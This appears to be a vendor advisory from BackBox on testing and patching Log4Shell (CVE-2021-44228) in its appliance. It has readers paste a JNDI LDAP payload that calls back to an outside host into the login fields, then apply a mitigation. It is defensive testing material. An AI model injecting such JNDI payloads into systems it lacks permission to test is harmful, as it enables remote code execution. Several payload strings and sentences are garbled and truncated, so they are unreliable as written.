BackBox Test and Mitigation for CVE-2021-44228 Vulnerability

Details
A flaw was found in the Java logging library Apache Log4j in versions from 2.0.0 and before as well as version 2.14.1. This allows a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker's JNDI LDAP server lookup.

Statement
This issue only affects log4j versions between 2.0 and 2.14.1. In order to exploit this flaw you need:
A remotely accessible endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send arbitrary data,
A log statement in the endpoint that logs the attacker-controlled data.
Due to the existence of JMS Appender which can use JNDI in the log4j 1.x, it is possible that log4j version 1.x is also affected by this vulnerability. The impact is still under investigation.

Affected Products
BackBox versions 6.50 up to 6.53.x

General Mitigation
There are two possible mitigations for this flaw:
- Set the system property log4j2.formatMsgNoLookups to true, or
- Remove the JndiLookup class from the classpath. For example:
zip -q -d log4j-core-* jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Prechecks
Instructions to test BEFORE applying the fix:

Pre-requisite: BackBox must be able to reach the internet for this test

1. Open your browser and navigate to: https://log4shell.huntress.com/
2. Click the results link
Huntress Log4Shell Vulnerability Tester

Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that's affecting a Java source code for this tool is available on GitHub at huntresslabs/log4shell-tester.

This site can help you test whether your applications are vulnerable to Log4Shell (CVE-2021-44228):

- You simply copy and paste the generated JNDI syntax (the code block $\{jndi[\[]\}ldap[\[]\}://
fields, logos such as username inputs, or if you are bit more technical, even User-Agent or X
- Check the Results page to see if it received any connection, and verify the detected IP address
- If you see an entry, a connection was made and the application you tested is vulnerable.

The following payload should only be used with systems which you have explicit permission to
responsible disclosure to minimize any potential fallout due to the vulnerability! This tool was created
applications in your own networks only.

3. Copy the payload

Huntress Log4Shell Vulnerability Results

Any time a server reaches out to our LDAP server with your unique identifier, it will be logged here. You can use the payload you received to check back here for any results. Your payload is:

```
$\{jndi[\[]\}ldap[\[]\}://logshell.huntress.com:1389/\{a63c932-3fe9-417b-8495-219f570d4d13\}
```

⚠️ The entries below are only cached for up to 30 minutes. If you need this data, you should copy it to a safe place.

Looking for JSON results? You can download them from here!

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Date/Time</th>
</tr>
</thead>
</table>

4. Open BackBox Web GUI in a new window and paste the payload in both the username
and password fields and then click Sign In
5. Refresh the Huntress Log4Shell page and You should see one or more lines meaning BackBox is vulnerable.

Huntress Log4Shell Vulnerability Results

Any time a server reaches out to our LDAP server with your unique identifier, it will be logged here. You can use this to check back here for any results. Your payload is:

$s[n]:id://log4shell.huntress.com:1389/f740b5636-25a8-4312

The entries below are only cached for up to 30 minutes. If you need this data, you should copy it to a safe place

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>194.90.182.129</td>
<td>2021-12-12T11:33:44.078Z</td>
</tr>
<tr>
<td>194.90.182.129</td>
<td>2021-12-12T11:33:43.657Z</td>
</tr>
<tr>
<td>194.90.182.129</td>
<td>2021-12-12T11:33:43.162Z</td>
</tr>
<tr>
<td>194.90.182.129</td>
<td>2021-12-12T11:33:42.739Z</td>
</tr>
<tr>
<td>194.90.182.129</td>
<td>2021-12-12T11:33:42.217Z</td>
</tr>
</tbody>
</table>

6. Now click Back and refresh the page to get a new payload URL

7. Click the Results link and MAKE SURE YOUR PAYLOAD URL IS NEW AND THERE ARE NO LINES FROM STEP 5
8. Copy your **NEW** payload

Huntress Log4Shell Vulnerability Tester

Our team is continuing to investigate **CVE-2021-44228**, a critical vulnerability that’s affecting a Java source code for this tool is available on GitHub at [huntresslabs/log4shell-tester](https://github.com/huntresslabs/log4shell-tester).

This site can help you test whether your applications are vulnerable to Log4Shell (CVE-2021-44228):

- You simply **copy and paste** the generated JNDI syntax (the code block ${jndi:\lit{ldap://}}
- fields, locations such as username inputs, or if you are bit more technical, even User-Agent or X-...
- Check the **results** page to see if it received any connection, and verify the detected IP address.
- If you see an entry, a connection was made and the application you tested is vulnerable.

The following payload should only be used with systems which you have explicit permission to.

**Mitigation**

9. Connect to BackBox via SSH

10. Copy the command from this text file: [https://updates.backbox.com/V6.5/Docs/CVE-2021-44228.txt](https://updates.backbox.com/V6.5/Docs/CVE-2021-44228.txt) and run it

11. Navigate to BackBox Web GUI again and enter the NEW PAYLOAD as username and password, Click Sign In
13. The Results page should now remain without any entries, meaning we are no longer vulnerable.

For any questions, please don’t hesitate to contact us: support@backbox.com